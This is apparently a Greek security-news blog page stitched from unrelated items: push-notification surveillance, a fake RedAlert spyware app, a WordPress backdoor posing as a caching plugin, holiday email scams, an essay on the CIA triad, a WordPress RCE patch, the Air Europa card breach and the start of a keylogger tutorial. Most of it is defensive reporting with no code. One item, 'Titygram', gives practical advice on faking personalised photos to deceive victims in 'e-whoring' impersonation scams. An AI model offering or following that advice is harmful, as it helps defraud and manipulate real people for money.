Αγνωστες κυβερνήσεις παρακολουθούν τους χρήστες smartphone μέσω των ειδοποιήσεων push των εφαρμογών τους, προειδοποίησε ένας αμερικανός γερουσιαστής την Τετάρτη.
Σε ένα γράμμα προς το Υπουργείο Δικαιοσύνης, ο γερουσιαστής Ρον Ουάιντεν είπε ότι ξένοι αξιωματούχοι ζητούν δεδομένα από την Google της Alphabet (GOOGL.O) και την Apple (AAPL.O). Αν και οι λεπτομέρειες ήταν πενιχρές, το γράμμα παρουσιάζει άλλο έναν τρόπο με τον οποίο οι κυβερνήσεις μπορούν να παρακολουθούν τα smartphones.
Οι εφαρμογές όλων των ειδών εξαρτώνται από τις ειδοποιήσεις push για να ενημερώνουν τους χρήστες smartphone για εισερχόμενα μηνύματα, τελευταία νέα και άλλες ενημερώσεις. Αυτά είναι τα ακουστικά “ding” που λαμβάνουν οι χρήστες όταν λαμβάνουν ένα email ή γενικά μια ειδοποίηση. Αυτό που οι χρήστες συχνά δεν συνειδητοποιούν είναι ότι σχεδόν όλες οι τέτοιου είδους ειδοποιήσεις ταξιδεύουν μέσω των διακομιστών της Google και της Apple.
Αυτό δίνει στις δύο εταιρείες μοναδική κατανόηση της κίνησης που προέρχεται από αυτές τις εφαρμογές προς τους χρήστες τους, και επομένως τις βάζει σε μια μοναδική θέση για να διευκολύνουν την κυβερνητική παρακολούθηση, είπε ο Ουάιντεν.
Ζήτησε από το Υπουργείο Δικαιοσύνης να “ανακαλέσει ή να τροποποιήσει οποιεσδήποτε πολιτικές” που εμποδίζουν τις δημόσιες συζητήσεις για την κατασκοπεία μέσω ειδοποιήσεων push.
Σε ανακοίνωσή της, η Apple είπε ότι το γράμμα του Ουάιντεν τους έδωσε τη δυνατότητα να μοιραστούν περισσότερες λεπτομέρειες με το κοινό σχετικά με τον τρόπο που οι κυβερνήσεις παρακολουθούν τις ειδοποιήσεις push.
Η Google είπε ότι θα να ενημερώνει τους χρήστες σχετικά με αυτές τις ειδοποιήσεις.
Το Υπουργείο Δικαιοσύνης δεν ανταποκρίθηκε σε μηνύματα που ζητούσαν σχόλια σχετικά με την παρακολούθηση των ειδοποιήσεων push ή εάν εμπόδισε την Apple ή την Google από το να μιλήσουν γι’ αυτό.
Το γράμμα του Ουάιντεν ανέφερε ένα “υπόδειγμα” ως πηγή πληροφοριών σχετικά με την παρακολούθηση. Το προσωπικό του δεν διευκρίνισε το υπόδειγμα, αλλά μια πηγή γνώριμη με το θέμα επιβεβαίωσε ότι και ξένα και αμερικανικά κρατικά όργανα ζητούν από την Apple και την Google μεταδεδομένα που σχετίζονται με τις ειδοποιήσεις push για, παραδείγματος χάριν, βοηθήσουν στο να συσχετιστούν ανώνυμοι χρήστες εφαρμογών μηνυμάτων με συγκεκριμένους λογαριασμούς Apple ή Google.
Οι περισσότεροι χρήστες δεν δίνουν πολλή σκέψη στις ειδοποιήσεις push, αλλά έχουν προσελκύσει ενίοτε την προσοχή των τεχνολόγων λόγω της δυσκολίας χρήσης τους χωρίς να στέλνουν δεδομένα στη Google ή την Apple.
Προτού από τον προγραμματιστή της Γαλλίας Νταβίντ Λιμπό, είπε ότι οι χρήστες και οι προγραμματιστές συχνά δεν γνωρίζουν πώς οι εφαρμογές τους εκπέμπουν δεδομένα στους αμερικανικούς τεχνολογικούς γίγαντες μέσω των ειδοποιήσεων push, αποκαλώντας τις “ένα εφιαλτικό πρόβλημα απορρήτου”.
Η ψεύτικη εφαρμογή συναγερμού πυραύλων “RedAlert” για το Ισραήλ εγκαθιστά κατασκοπευτικό λογισμικό Android
Οι Ισραηλινοί χρήστες Android έχουν στοχοποιηθεί από μια κακόβουλη έκδοση της εφαρμογής “RedAlert – Rocket Alerts”, η οποία, ενώ προσφέρει την υποσχόμενη λειτουργικότητα, λειτουργεί ως λογισμικό κατασκοπείας στο παρασκήνιο. Το RedAlert – Rocket Alerts είναι μια νόμιμη εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται από τους Ισραηλινούς πολίτες για να λαμβάνουν ειδοποιήσεις για εισερχόμενες ρουκέτες που στοχεύουν τη χώρα. Η εφαρμογή είναι ιδιαίτερα δημοφιλής, με πάνω από ένα εκατομμύριο λήψεις στο Google Play.
Από τότε που οι τρομοκράτες της Χαμάς εξαπέλυσαν την επίθεσή τους στο Νότιο Ισραήλ την περασμένη εβδομάδα, με χιλιάδες ρουκέτες, το ενδιαφέρον για την εφαρμογή έχει εκραγεί, καθώς οι άνθρωποι αναζητούσαν έγκαιρες προειδοποιήσεις για επερχόμενες αεροπορικές επιδρομές στην περιοχή τους. Σύμφωνα με την Cloudflare, χάκερ άγνωστης αιτιολογίας και προέλευσης εκμεταλλεύονται το αυξημένο ενδιαφέρον για την εφαρμογή και τον φόβο των επιθέσεων για να διανείμουν μια ψεύτικη έκδοση που εγκαθιστά λογισμικό κατασκοπείας.
Αυτή η κακόβουλη έκδοση διανέμεται από τον ιστότοπο “redalerts[.]me”, ο οποίος δημιουργήθηκε στις 12 Οκτωβρίου 2023 και περιλαμβάνει δύο κουμπιά για τη λήψη της εφαρμογής για τις πλατφόρμες iOS και Android. Η λήψη για το iOS ανακατευθύνει τον χρήστη στη σελίδα του νόμιμου έργου στο App Store της Apple, αλλά το κουμπί για το Android κατεβάζει απευθείας ένα αρχείο APK για να εγκατασταθεί στη συσκευή.
Ειδοποίηση Spyware
Το APK που κατεβάσατε χρησιμοποιεί τον νόμιμο κώδικα της πραγματικής εφαρμογής RedAlert, έτσι ώστε να περιέχει όλες τις κανονικές λειτουργίες και να εμφανίζεται ως ένα νόμιμο εργαλείο συναγερμού πυραύλων.
Ωστόσο, η Cloudflare διαπίστωσε ότι η εφαρμογή ζητά πρόσθετες άδειες από τα θύματα, συμπεριλαμβανομένης της πρόσβασης στις επαφές, τους αριθμούς, το περιεχόμενο SMS του χρήστη, τη λίστα του εγκατεστημένου λογισμικού, τα αρχεία καταγραφής κλήσεων, το IMEI του τηλεφώνου, τους συνδεδεμένους λογαριασμούς ηλεκτρονικού ταχυδρομείου και εφαρμογών και πολλά άλλα.
Κατά την εκκίνηση, η εφαρμογή ξεκινά μια υπηρεσία παρασκηνίου που κάνει κατάχρηση αυτών των δικαιωμάτων για να συλλέξει δεδομένα, να τα κρυπτογραφήσει με AES σε λειτουργία CBC και να τα φορτώσει σε μια σκληρά κωδικοποιημένη διεύθυνση IP.
Η εφαρμογή διαθέτει επίσης μηχανισμούς κατά της αποσφαλμάτωσης, κατά της εξομοίωσης και κατά των δοκιμών που την προστατεύουν από τους ερευνητές και τα εργαλεία αναθεώρησης κώδικα.
Συμβουλές ασφαλείας RedAlert
Ο ψεύτικος ιστότοπος είναι εκτός λειτουργίας τη στιγμή που γράφονται αυτές οι γραμμές. Ωστόσο, οι απειλητικοί φορείς πιθανότατα θα στραφούν σε νέο τομέα μετά την αποκάλυψη της επιχείρησής τους.
Ένας απλός τρόπος για να διακρίνετε μεταξύ της πραγματικής και της παγιδευμένης έκδοσης είναι να ελέγξετε τα δικαιώματα που ζητά η εφαρμογή κατά την εγκατάσταση ή στα οποία έχει πρόσβαση σε περίπτωση που είναι ήδη εγκατεστημένη στη συσκευή σας.
Για να το ελέγξετε αυτό, πατήστε παρατεταμένα το εικονίδιο της εφαρμογής, επιλέξτε “Πληροφορίες εφαρμογής” και πατήστε “Δικαιώματα”.
Επίσης, έχουν αναφερθεί περιπτώσεις αεροπειρατείας στην πραγματική εφαρμογή RedAlert, με χακτιβιστές να εκμεταλλεύονται ελαττώματα API για να προωθούν ψεύτικες ειδοποιήσεις στους χρήστες. Για να ελαχιστοποιήσετε την πιθανότητα τέτοιων περιστατικών, βεβαιωθείτε ότι χρησιμοποιείτε την τελευταία έκδοση της εφαρμογής που περιλαμβάνει όλες τις διαθέσιμες διορθώσεις ασφαλείας.
Νέο backdoor του WordPress δημιουργεί λογαριασμό διαχειριστή για να κλέψει ιστότοπους
Ένα νέο κακόβουλο λογισμικό παριστάνει το νόμιμο πρόσθετο προσωρινής αποθήκευσης για να στοχεύσει ιστότοπους WordPress, επιτρέποντας στους φορείς απειλών να δημιουργήσουν έναν λογαριασμό διαχειριστή και να ελέγχουν τη δραστηριότητα του ιστότοπου.
Το κακόβουλο λογισμικό είναι μια κερκόπορτα με διάφορες λειτουργίες που του επιτρέπουν να διαχειρίζεται τα πρόσθετα και να κρύβεται από τα ενεργά στις παραβιασμένες ιστοσελίδες, να αντικαθιστά περιεχόμενο ή να ανακατευθύνει ορισμένους χρήστες σε κακόβουλες τοποθεσίες.
Λεπτομέρειες ψεύτικου πρόσθετου
Οι αναλυτές της Defiant, των κατασκευαστών του πρόσθετου ασφαλείας Wordfence για το WordPress, ανακάλυψαν το νέο κακόβουλο λογισμικό τον Ιούλιο κατά τον καθαρισμό ενός ιστότοπου.
Ρίχνοντας μια πιο προσεκτική ματιά στο backdoor, οι ερευνητές παρατήρησαν ότι ερχόταν “με ένα επαγγελματικής εμφάνισης εναρκτήριο σχόλιο” για να μεταμφιεστεί ως εργαλείο caching, το οποίο συνήθως βοηθά στη μείωση της καταπόνησης του διακομιστή και στη βελτίωση των χρόνων φόρτωσης της σελίδας.
Η απόφαση να μιμηθεί ένα τέτοιο εργαλείο φαίνεται σκόπιμη, διασφαλίζοντας ότι θα περάσει απαρατήρητο κατά τη διάρκεια χειροκίνητων ελέγχων. Επίσης, το κακόβουλο πρόσθετο έχει ρυθμιστεί να αποκλείει τον εαυτό του από τη λίστα των “ενεργών πρόσθετων” ως μέσο για να αποφύγει τον έλεγχο.
Το κακόβουλο λογισμικό διαθέτει τις ακόλουθες δυνατότητες:
User creation – Μια συνάρτηση δημιουργεί έναν χρήστη με όνομα ‘superadmin’ με σκληρά κωδικοποιημένο κωδικό πρόσβασης και δικαιώματα επιπέδου διαχειριστή, ενώ μια δεύτερη συνάρτηση μπορεί να αφαιρέσει αυτόν τον χρήστη για να σβήσει τα ίχνη της μόλυνσης.
Bot detection – Όταν οι επισκέπτες αναγνωρίζονταν ως bots (π.χ. ανιχνευτές μηχανών αναζήτησης), το κακόβουλο λογισμικό τους παρείχε διαφορετικό περιεχόμενο, όπως spam, προκαλώντας τους να ευρετηριάσουν τον παραβιασμένο ιστότοπο για κακόβουλο περιεχόμενο. Ως εκ τούτου, οι διαχειριστές θα μπορούσαν να δουν μια ξαφνική αύξηση της επισκεψιμότητας ή αναφορές από χρήστες που διαμαρτύρονται για ανακατεύθυνση σε κακόβουλες τοποθεσίες.
Content replacement – Το κακόβουλο λογισμικό μπορεί να μεταβάλλει τις αναρτήσεις και το περιεχόμενο της σελίδας και να εισάγει συνδέσμους ή κουμπιά spam. Στους διαχειριστές του ιστότοπου σερβίρεται μη τροποποιημένο περιεχόμενο για να καθυστερήσει η υλοποίηση της παραβίασης.
Plugin control – Οι χειριστές του κακόβουλου λογισμικού μπορούν να ενεργοποιήσουν ή να απενεργοποιήσουν εξ αποστάσεως αυθαίρετα πρόσθετα του WordPress στον ιστότοπο που έχει παραβιαστεί. Επίσης, καθαρίζει τα ίχνη του από τη βάση δεδομένων του ιστότοπου, έτσι ώστε η δραστηριότητα αυτή να παραμένει κρυφή.
Remote invocation – Το backdoor ελέγχει για συγκεκριμένες συμβολοσειρές του πράκτορα χρήστη, επιτρέποντας στους επιτιθέμενους να ενεργοποιούν εξ αποστάσεως διάφορες κακόβουλες λειτουργίες.
Προς το παρόν, η Defiant δεν παρέχει λεπτομέρειες σχετικά με τον αριθμό των ιστότοπων που έχουν παραβιαστεί με το νέο κακόβουλο λογισμικό και οι ερευνητές της δεν έχουν ακόμη προσδιορίσει τον αρχικό φορέα πρόσβασης.
Οι τυπικές μέθοδοι παραβίασης ενός ιστότοπου περιλαμβάνουν κλεμμένα διαπιστευτήρια, brute-forcing κωδικών πρόσβασης ή εκμετάλλευση ευπάθειας σε υπάρχον πρόσθετο ή θέμα.
Η Defiant κυκλοφόρησε μια υπογραφή ανίχνευσης για τους χρήστες της δωρεάν έκδοσης του Wordfence και πρόσθεσε έναν κανόνα τείχους προστασίας για την προστασία των χρηστών Premium, Care και Response από την κερκόπορτα.
Ως εκ τούτου, οι ιδιοκτήτες ιστότοπων θα πρέπει να χρησιμοποιούν ισχυρά και μοναδικά διαπιστευτήρια για τους λογαριασμούς διαχειριστών, να διατηρούν τα πρόσθετα τους ενημερωμένα και να αφαιρούν αχρησιμοποίητα πρόσθετα και χρήστες.
Κυβερνοεγκληματίες Στρέφονται στα Email για Χριστουγεννιάτικες Απάτες
Επιστήμονες έχουν εκδώσει προειδοποίηση προς τους χρήστες των υπηρεσιών ηλεκτρονικού ταχυδρομείου, όπως Gmail και Outlook, καθώς αναμένεται να αυξηθεί ο όγκος των απάτες μέσω email κατά τη διάρκεια των Χριστουγέννων. Μετά από εβδομάδες online αγορών και προσοχή στις επερχόμενες εκπτώσεις, οι ευκαιρίες για κυβερνοεπιθέσεις μέσω ηλεκτρονικού ταχυδρομείου αυξάνονται.
Σύμφωνα με την Vonny Gamot, Υπεύθυνη της ΕΜΕΑ στην McAfee, κυβερνοεγκληματίες χρησιμοποιούν απάτες μέσω ηλεκτρονικού ταχυδρομείου ή ψεύτικες ιστοσελίδες για να παρασύρουν ανθρώπους. Με την προβλεπόμενη εμφάνιση 10 εκατομμυρίων επιπλέον διαδικτυακών απειλών κατά την περίοδο των Χριστουγέννων, είναι σημαντικό να είμαστε επιφυλακτικοί με γορτινές προσφορές και ενημερώσεις παραγγελίας.
Η εταιρεία McAfee προειδοποιεί ότι αν κάτι φαίνεται υπερβολικά καλό για να είναι αληθινό, πιθανότατα δεν είναι. Κατά τη διάρκεια των Χριστουγέννων, οι απάτες μέσω email ή απάτες παράδοσης γίνονται πιο επικίνδυνες. Είναι σημαντικό να επιβεβαιώνετε τις πληροφορίες πριν από κλικ σε συνδέσμους ή ανοίγματος συνημμένων σε emails.
Για προστασία από απάτες μέσω email, αποφύγετε να ανοίξετε ανεπιθύμητα emails ή να κάνετε κλικ σε ύποπτου περιεχομένου συνδέσμους. Προσέξτε επίσης τις προσπάθειες phishing που ζητούν προσωπικές πληροφορίες. Χρησιμοποιήστε ισχυρούς κωδικούς πρόσβασης και ενημερώνετε τους περιοδικά. Τέλος, εγκαταστήστε και ενημερώστε το λογισμικό ασφαλείας στη συσκευή σας για αποτροπή απατών μέσω ηλεκτρονικού ταχυδρομείου.
Είναι ωραίο, καλό και χρήσιμο να μιλάμε για μέτρα άμυνας, για τρόπους επίθεσης, για απειλές και αδυναμίες. Τις βλέπουμε από την σκοπιά του επιτιθέμενου, αλλά όχι για να διδάξουμε κάποιον απατεώνα (αν και αυτό μπορεί να συμβεί δυστυχώς, ως παράπλευρη απώλεια), αλλά γιατί πιστεύουμε στην παλιά αρχή που λέει: “Για να μπορέσεις να αμυνθείς σωστά πρέπει να μάθεις πώς σκέφτεται ο επιτιθέμενος” ή αλλιώς: “To know your enemy, you must become your enemy” – Sun Tzu.
Και ΟΚ, πείτε ότι μέχρι εδώ καλά…
Τι πάμε να προστατέψουμε όμως; Κάποιος (πολύ-πολύ παλιά) είχε πει οτι: για να μπορέσουμε να συζητήσουμε για ένα θέμα πρέπει πρώτα να ορίσουμε και (κυρίως) να συμφωνήσουμε τις βασικές έννοιες που το αφορούν, αλλιώς ο καθένας θα λέει (ή και) θα πιστεύει τα δικά του. Παράπλευρο συμπέρασμα: Μπορεί τελικά να συμφωνήσουμε σε κάτι, είτε κατά τύχη είτε διότι “νομίζουμε” οτι συμφωνούμε.
Ανέκαθεν ήθελα να ξεκινήσω ένα άρθρο για την ασφάλεια και για να το κάνω λίγο πιο συγκεκριμένο: για την ασφάλεια πληροφοριακών συστημάτων. Τι είναι αυτή η ασφάλεια; Υπάρχει άραγε σαφής ορισμός;
Αν ανατρέξω στην Wikipedia μπορεί να βρω μερικές προσεγγίσεις, όπως:
“Security is protection from, or resilience against, potential harm (or other unwanted coercion) caused by others, by restraining the freedom of others to act. Beneficiaries (technically referents) of security may be of persons and social groups, objects and institutions, ecosystems or any other entity or phenomenon vulnerable to unwanted change.”
ή ακόμα:
“Information security, sometimes shortened to InfoSec,[1] is the practice of protecting information by mitigating information risks. “
Ενδιαφέρουσες προσεγγίσεις, αν και (κατά την άποψη του γράφοντος) ολίγον… ασαφείς, σε σχέση με το αντικείμενο της προστασίας (protection) και του τι ακριβώς θέλουμε να προστατέψουμε και πώς.
Θέλω να παρουσιάσω μια προσέγγιση η οποία είναι πιο κοντά στα πρότυπα για την ασφάλεια (ISO 27001, NIST κλπ.) και η οποία ακολουθεί την γνωστή τριάδα C.I.A. (Confidentiality, Integrity & Availability) ή με πιο “Ελληνικά”: Εμπιστευτικότητα, Ακεραιότητα & Διαθεσιμότητα.
Πριν προχωρήσω όμως στους βασικούς ορισμούς των παραπάνω, θα πρέπει να ορίσω πρώτα μια άλλη, πρωταρχική έννοια, αυτή της Πληροφορίας:
Θεωρώ ως πληροφορία, οποιοδήποτε πόρο περιέχει αξία για μένα ή τον οργανισμό μου.
Η αξία μπορεί να είναι οικονομική, αλλά όχι μόνο (μπορεί να είναι συναισθηματική, τεχνολογική, πολιτική, πολιτιστική, κλπ.). Ο πόρος από την άλλη, μπορεί να πάρει όλες τις δυνατές μορφές, υλικές ή άυλες: Server, Λογισμικό, Άνθρωπος (π.χ. εργαζόμενος), Εμπειρία, Πνευματική Ιδιοκτησία, Προφορική ή Γραπτή Επικοινωνία κλπ.
Αφού εξηγήσαμε τον πόρο και την αξία, ήρθε τώρα η ώρα να εξηγήσουμε τους όρους: Εμπιστευτικότητα, Ακεραιότητα & Διαθεσιμότητα με πολύ-πολύ απλά λόγια και χωρίς “επιστημονικούς ακροβατισμούς”:
Εμπιστευτικότητα: Σημαίνει οτι αν επικοινωνώ με κάποιον άλλο μέσω ενός καναλιού επικοινωνίας (π.χ. τηλέφωνο, email ή messaging) δεν μπορεί κάποιος τρίτος (μη εξουσιοδοτημένος από μας) να εισχωρήσει σε αυτή την επικοινωνία και να μπορέσει να λάβει γνώση για το τι λέμε.
Ακεραιότητα: Σημαίνει οτι αν επικοινωνώ με κάποιον άλλο μέσω ενός καναλιού επικοινωνίας (π.χ. τηλέφωνο, email ή messaging) δεν μπορεί κάποιος τρίτος (μη εξουσιοδοτημένος από μας) να αποκτήσει πρόσβαση στα μηνύματα μας και να μπορέσει να τα αλλοιώσει ή να τα διαγράψει.
Διαθεσιμότητα: Σημαίνει οτι οποτεδήποτε θελήσω εγώ να επικοινωνήσω με κάποιον άλλον μέσω ενός καναλιού επικοινωνίας (π.χ. τηλέφωνο, email ή messaging) το κανάλι (το μέσο) αυτό της επικοινωνίας θα είναι διαθέσιμο να με εξυπηρετήσει.
Αν ένας ή περισσότεροι από τους παραπάνω όρους παραβιαστεί, τότε θα έχω και παραβίαση της ασφάλειας!
Βέβαια, υπάρχουν πολλές ακόμα έννοιες, όπως Privacy (Ιδιωτικότητα), Authentication (Αυθεντικοποίηση) κλπ. που αναφέρονται στην βιβλιογραφία ως σημεία αναφοράς για την ασφάλεια. Προσωπικά όπως πιστεύω οτι κάλλιστα αυτές μπορούν να ενταχθούν στις παραπάνω τρείς βασικές.
Άρα, μπορώ να πω πια οτι η ασφάλεια έγκειται στην διασφάλιση της Εμπιστευτικότητας, Ακεραιότητας & Διαθεσιμότητας των Πόρων που έχουν Αξία για εμένα ή (και) τον οργανισμό μου.
Titygram – Νόμιμη υπηρεσία που θα σας βοηθήσει στο e-whoring
Το titygram είναι μια ιστοσελίδα που έχει δημιουργηθεί από Ρώσσους προγραμματιστές και έχει ως σκοπό να στείλετε ένα μήνυμα στον/στην αγαπημένο σας το οποίο μήνυμα θα είναι γραμμένο πάνω στο…στήθος ενός γυμνασμένου άνδρα ή μιας φουσκωτής σέξυ γυναίκας.
Είναι πολύ απλό, γράφετε το μήνυμα σας, δίνετε το email σας στο οποίο θα σταλεί η φωτογραφία και πληρώνετε γρήγορα και με ασφάλεια.
Η τιμή είναι 15$ για το απλό πακέτο και 25$ για το “premium” με το οποίο μπορείτε να διαλέξετε το μοντέλο σας και τι ρούχα θέλετε να φοράει.
Η φωτογραφία “τραβιέται” σχετικά γρήγορα. Βάση με αυτά που λένε στην σελίδα, μέσα σε μια ώρα. Βέβαια αυτό είναι αδύνατο πολλές φορές.
Πως μπορείτε να το χρησιμοποιήσετε αυτό στο e-whoring?
Πολλές φορές τα θύματα σας ζητάνε φωτογραφίες σας στις οποίες να γράψετε το όνομα του πάνω σε κάποιο μέρος του σώματος σας(του κοριτσιού που προσποιήστε).
Για να γίνει αυτό, επειδή δεν είστε γυναίκα, κατά 99.8%,μπορείτε αν έχετε τις κατάλληλες γνώσεις στο Photoshop,να πάρετε μια φωτογραφία του “Κοριτσιού σας” και να γράψετε πάνω το όνομα του θύματος ή ότι άλλο ζητήσει.
Αν πάλι δεν έχετε τις κατάλληλες γνώσεις μπορείτε να πληρώσετε διάφορα άτομα, τα οποία έχουνε τις κατάλληλες γνώσεις, ένα ποσό(συνήθως από 10-30$ )και να σας φτιάξουν την φωτογραφία με το όνομα/φράση πάνω στη φωτογραφία που θα τους πείτε, στο μέρος που θέλετε.
Η WordPress κυκλοφόρησε αυτήν την εβδομάδα μια ενημέρωση ασφαλείας προκειμένου να διορθώσει μια ευπάθεια εκτέλεσης κώδικα απομακρυσμένου (RCE).
Χρησιμοποιώντας σε συνδυασμό με ένα άλλο ελάττωμα, οι χάκερ θα μπορούσαν να εκτελέσουν αυθαίρετο κώδικα PHP σε έναν ιστότοπο του WordPress και καθώς σχεδόν το μισό διαδίκτυο θεωρείται ότι τρέχει σε WordPress, η επιφάνεια επίθεσης είναι αρκετά ευρεία.
Στην ανακοίνωσή της, η WordPress σημειώνει ότι το σφάλμα RCE δεν είναι απευθείας εκτελέσιμο στον πυρήνα, αλλά που, σε συνδυασμό με ορισμένα πρόσθετα, ενδέχεται να συνιστά υψηλό κίνδυνο.
Το σφάλμα RCE επιδιορθώθηκε στην έκδοση WordPress 6.4.2. Συνιστάται στους ιδιοκτήτες και τους διαχειριστές ιστότοπων να ενημερώσουν στην επιδιορθωμένη έκδοση του CMS το συντομότερο δυνατό.
“Ενώ οι περισσότεροι ιστότοποι θα πρέπει να ενημερωθούν αυτόματα στο WordPress 6.4.2, συνιστούμε ιδιαίτερα τον χειροκίνητο έλεγχο του ιστότοπό σας για να εξασφαλίσετε ότι έχει γίνει η ενημέρωση”, σημειώνει η Wordfence.
Διαρροή δεδομένων της Air Europa: Οι πελάτες της προειδοποιήθηκαν να ακυρώσουν τις πιστωτικές τους κάρτες
Η ισπανική αεροπορική εταιρεία Air Europa, η τρίτη μεγαλύτερη αεροπορική εταιρεία της χώρας και μέλος της συμμαχίας SkyTeam, προειδοποίησε τη Δευτέρα τους πελάτες της να ακυρώσουν τις πιστωτικές τους κάρτες, αφού οι επιτιθέμενοι απέκτησαν πρόσβαση στις πληροφορίες των καρτών τους σε πρόσφατη παραβίαση δεδομένων.
“Σας ενημερώνουμε ότι πρόσφατα εντοπίστηκε ένα περιστατικό κυβερνοασφάλειας σε ένα από τα συστήματά μας, το οποίο συνίσταται σε πιθανή μη εξουσιοδοτημένη πρόσβαση στα δεδομένα της τραπεζικής σας κάρτας”, ανέφερε η Air Europa σε μηνύματα ηλεκτρονικού ταχυδρομείου που εστάλησαν στα επηρεαζόμενα άτομα και τα οποία είδε το BleepingComputer.
“Έχουμε ασφαλίσει τα συστήματά μας, διασφαλίζοντας την ορθή λειτουργία της υπηρεσίας. Επιπλέον, έχουμε προβεί στις δέουσες κοινοποιήσεις προς τις αρμόδιες αρχές και τους απαραίτητους φορείς (AEPD, INCIBE, τράπεζες κ.λπ.)”.
Τα στοιχεία των πιστωτικών καρτών που εκτέθηκαν κατά την παραβίαση περιλαμβάνουν αριθμούς καρτών, ημερομηνίες λήξης και τον τριψήφιο κωδικό CVV (Card Verification Value) στο πίσω μέρος των καρτών πληρωμής.
Η Air Europa προειδοποίησε επίσης τους πληγέντες πελάτες να ζητήσουν από τις τράπεζές τους να ακυρώσουν τις κάρτες τους που χρησιμοποιούν στον ιστότοπο της αεροπορικής εταιρείας λόγω “του κινδύνου πλαστογράφησης της κάρτας και απάτης” και “για να αποτρέψουν πιθανή δόλια χρήση”.
Οι πελάτες συμβουλεύτηκαν επίσης να μην παρέχουν τα προσωπικά τους στοιχεία ή τους κωδικούς PIN της κάρτας τους σε οποιονδήποτε επικοινωνεί μαζί τους τηλεφωνικά ή μέσω ηλεκτρονικού ταχυδρομείου και να μην ανοίγουν συνδέσμους σε μηνύματα ηλεκτρονικού ταχυδρομείου ή μηνύματα που τους προειδοποιούν για απάτες με τις κάρτες τους.
Ο αριθμός των επηρεαζόμενων πελατών παραμένει άγνωστος
Η εταιρεία δεν έχει ακόμη αποκαλύψει πόσοι από τους πελάτες της επηρεάστηκαν από την παραβίαση των δεδομένων, την ημερομηνία παραβίασης των συστημάτων της και πότε εντοπίστηκε το περιστατικό.
Εκπρόσωπος της Air Europa δεν ήταν διαθέσιμος για σχόλια όταν επικοινώνησε με το BleepingComputer νωρίτερα σήμερα.
Πριν από δύο χρόνια, τον Μάρτιο του 2021, η Ισπανική Υπηρεσία Προστασίας Δεδομένων (DPA) επέβαλε επίσης πρόστιμο 600.000 ευρώ στην αεροπορική εταιρεία για παραβίαση του Γενικού Κανονισμού Προστασίας Δεδομένων της Ευρωπαϊκής Ένωσης (ΓΚΠΔ της ΕΕ) και για την ενημέρωση της υπηρεσίας προστασίας της ιδιωτικής ζωής για την παραβίαση των δεδομένων περισσότερο από 40 ημέρες αργότερα.
Η παραβίαση δεδομένων το 2021 επηρέασε περίπου 489.000 άτομα, με τους επιτιθέμενους να αποκτούν πρόσβαση στα στοιχεία επικοινωνίας και τραπεζικών λογαριασμών τους (αριθμούς καρτών, ημερομηνίες λήξης και κωδικούς CVV) που ήταν αποθηκευμένα σε 1.500.000 αρχεία δεδομένων.
Ενώ οι εγκληματίες χρησιμοποίησαν τα δεδομένα περίπου 4.000 τραπεζικών καρτών σε δόλιες δραστηριότητες, η Air Europa χαρακτήρισε την παραβίαση ως περιστατικό μέσου κινδύνου και επέλεξε να μην ενημερώσει τα πληγέντα άτομα.
Ένας keylogger (ή keystroke logger) είναι ένα είδος κακόβουλου λογισμικού που καταγράφει τα πλήκτρα που πατάει ένας χρήστης σε έναν υπολογιστή ή άλλη συσκευή εισόδου. Τα keyloggers συγκεντρώνουν πληροφορίες σχετικά με τον τρόπο που πληκτρολογείτε, συμπεριλαμβανομένων των κωδικών πρόσβασης, των ονομάτων χρηστών, των μηνυμάτων email, και άλλων ευαίσθητων πληροφοριών.
Σήμερα θα σας δείξω πως να βρείτε που στέλνονται τα στοιχεία σας όταν χρησιμοποιούμε έναν keylogger.